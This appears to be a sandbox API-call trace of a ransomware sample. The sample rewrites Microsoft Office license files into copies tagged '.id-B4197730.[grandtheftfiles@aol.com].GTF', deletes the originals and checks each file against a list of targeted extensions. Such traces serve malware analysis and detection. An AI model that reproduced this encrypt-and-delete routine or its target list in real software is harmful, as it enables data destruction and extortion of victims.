	[0182.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.109] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.109] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.110] GetLastError () returned 0x0
	[0182.110] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x5d23, lpOverlapped=0x0) returned 1
	[0182.122] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5d30, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5d30, lpOverlapped=0x0) returned 1
	[0182.123] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.123] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x120, lpOverlapped=0x0) returned 1
	[0182.123] SetEndOfFile (hFile=0x378) returned 1
	[0182.123] CloseHandle (hObject=0x378) returned 1
	[0182.123] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.123] SetEndOfFile (hFile=0x504) returned 1
	[0182.126] CloseHandle (hObject=0x504) returned 1
	[0182.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms")) returned 1
	[0182.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.128] lstrlenW (lpString=".doc") returned 4
	[0182.128] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.128] lstrlenW (lpString=".docx") returned 5
	[0182.128] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.128] lstrlenW (lpString=".pdf") returned 4
	[0182.128] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.128] lstrlenW (lpString=".xls") returned 4
	[0182.128] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.128] lstrlenW (lpString=".xlsx") returned 5
	[0182.128] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.128] lstrlenW (lpString=".ppt") returned 4
	[0182.128] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.128] lstrlenW (lpString=".zip") returned 4
	[0182.128] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.128] lstrlenW (lpString=".rar") returned 4
	[0182.128] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.128] lstrlenW (lpString=".bz2") returned 4
	[0182.128] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.128] lstrlenW (lpString=".7z") returned 3
	[0182.128] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.128] lstrlenW (lpString=".dbf") returned 4
	[0182.128] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.128] lstrlenW (lpString=".1cd") returned 4
	[0182.128] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.128] lstrlenW (lpString=".jpg") returned 4
	[0182.128] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.129] lstrlenW (lpString=".doc") returned 4
	[0182.129] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString=".docx") returned 5
	[0182.129] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.129] lstrlenW (lpString=".pdf") returned 4
	[0182.129] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString=".xls") returned 4
	[0182.129] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString=".xlsx") returned 5
	[0182.129] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.129] lstrlenW (lpString=".ppt") returned 4
	[0182.129] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.129] lstrlenW (lpString=".zip") returned 4
	[0182.129] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString=".rar") returned 4
	[0182.129] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString=".bz2") returned 4
	[0182.129] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString=".7z") returned 3
	[0182.129] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.129] lstrlenW (lpString=".dbf") returned 4
	[0182.129] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.129] lstrlenW (lpString=".1cd") returned 4
	[0182.129] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms") returned 88
	[0182.129] lstrlenW (lpString=".jpg") returned 4
	[0182.129] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.130] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.130] lstrlenW (lpString="O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 41
	[0182.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.130] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11655) returned 1
	[0182.130] CloseHandle (hObject=0x504) returned 1
	[0182.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms")) returned 0x220
	[0182.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.131] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.131] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.132] GetLastError () returned 0x0
	[0182.132] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d87, lpOverlapped=0x0) returned 1
	[0182.137] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0182.138] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.138] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x126, lpOverlapped=0x0) returned 1
	[0182.138] SetEndOfFile (hFile=0x378) returned 1
	[0182.138] CloseHandle (hObject=0x378) returned 1
	[0182.139] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.139] SetEndOfFile (hFile=0x504) returned 1
	[0182.141] CloseHandle (hObject=0x504) returned 1
	[0182.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms")) returned 1
	[0182.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.143] lstrlenW (lpString=".doc") returned 4
	[0182.143] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.143] lstrlenW (lpString=".docx") returned 5
	[0182.143] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.143] lstrlenW (lpString=".pdf") returned 4
	[0182.143] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.143] lstrlenW (lpString=".xls") returned 4
	[0182.143] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.143] lstrlenW (lpString=".xlsx") returned 5
	[0182.143] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.143] lstrlenW (lpString=".ppt") returned 4
	[0182.143] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.143] lstrlenW (lpString=".zip") returned 4
	[0182.143] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.143] lstrlenW (lpString=".rar") returned 4
	[0182.143] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.143] lstrlenW (lpString=".bz2") returned 4
	[0182.143] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.143] lstrlenW (lpString=".7z") returned 3
	[0182.143] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.143] lstrlenW (lpString=".dbf") returned 4
	[0182.143] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.144] lstrlenW (lpString=".1cd") returned 4
	[0182.144] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.144] lstrlenW (lpString=".jpg") returned 4
	[0182.144] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.144] lstrlenW (lpString=".doc") returned 4
	[0182.144] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString=".docx") returned 5
	[0182.144] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.144] lstrlenW (lpString=".pdf") returned 4
	[0182.144] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString=".xls") returned 4
	[0182.144] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString=".xlsx") returned 5
	[0182.144] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.144] lstrlenW (lpString=".ppt") returned 4
	[0182.144] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.144] lstrlenW (lpString=".zip") returned 4
	[0182.144] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString=".rar") returned 4
	[0182.144] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString=".bz2") returned 4
	[0182.144] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString=".7z") returned 3
	[0182.144] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.144] lstrlenW (lpString=".dbf") returned 4
	[0182.144] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.144] lstrlenW (lpString=".1cd") returned 4
	[0182.144] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms") returned 91
	[0182.144] lstrlenW (lpString=".jpg") returned 4
	[0182.145] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.145] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.145] lstrlenW (lpString="O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 37
	[0182.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.145] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11199) returned 1
	[0182.146] CloseHandle (hObject=0x504) returned 1
	[0182.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms")) returned 0x220
	[0182.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0182.146] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.146] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.147] GetLastError () returned 0x0
	[0182.147] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0182.538] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0182.612] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.612] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0182.612] SetEndOfFile (hFile=0x378) returned 1
	[0182.613] CloseHandle (hObject=0x378) returned 1
	[0182.613] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.613] SetEndOfFile (hFile=0x504) returned 1
	[0182.616] CloseHandle (hObject=0x504) returned 1
	[0182.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms")) returned 1
	[0182.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.618] lstrlenW (lpString=".doc") returned 4
	[0182.618] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.618] lstrlenW (lpString=".docx") returned 5
	[0182.618] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.618] lstrlenW (lpString=".pdf") returned 4
	[0182.618] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.618] lstrlenW (lpString=".xls") returned 4
	[0182.618] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.618] lstrlenW (lpString=".xlsx") returned 5
	[0182.618] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.618] lstrlenW (lpString=".ppt") returned 4
	[0182.618] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.618] lstrlenW (lpString=".zip") returned 4
	[0182.618] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.618] lstrlenW (lpString=".rar") returned 4
	[0182.618] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.618] lstrlenW (lpString=".bz2") returned 4
	[0182.618] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.618] lstrlenW (lpString=".7z") returned 3
	[0182.618] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.618] lstrlenW (lpString=".dbf") returned 4
	[0182.618] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.618] lstrlenW (lpString=".1cd") returned 4
	[0182.618] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.619] lstrlenW (lpString=".jpg") returned 4
	[0182.619] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.619] lstrlenW (lpString=".doc") returned 4
	[0182.619] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".docx") returned 5
	[0182.619] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.619] lstrlenW (lpString=".pdf") returned 4
	[0182.619] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".xls") returned 4
	[0182.619] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".xlsx") returned 5
	[0182.619] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.619] lstrlenW (lpString=".ppt") returned 4
	[0182.619] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms") returned 87
	[0182.619] lstrlenW (lpString=".zip") returned 4
	[0182.619] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".rar") returned 4
	[0182.619] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".bz2") returned 4
	[0182.619] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.619] lstrlenW (lpString=".7z") returned 3
	[0182.619] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
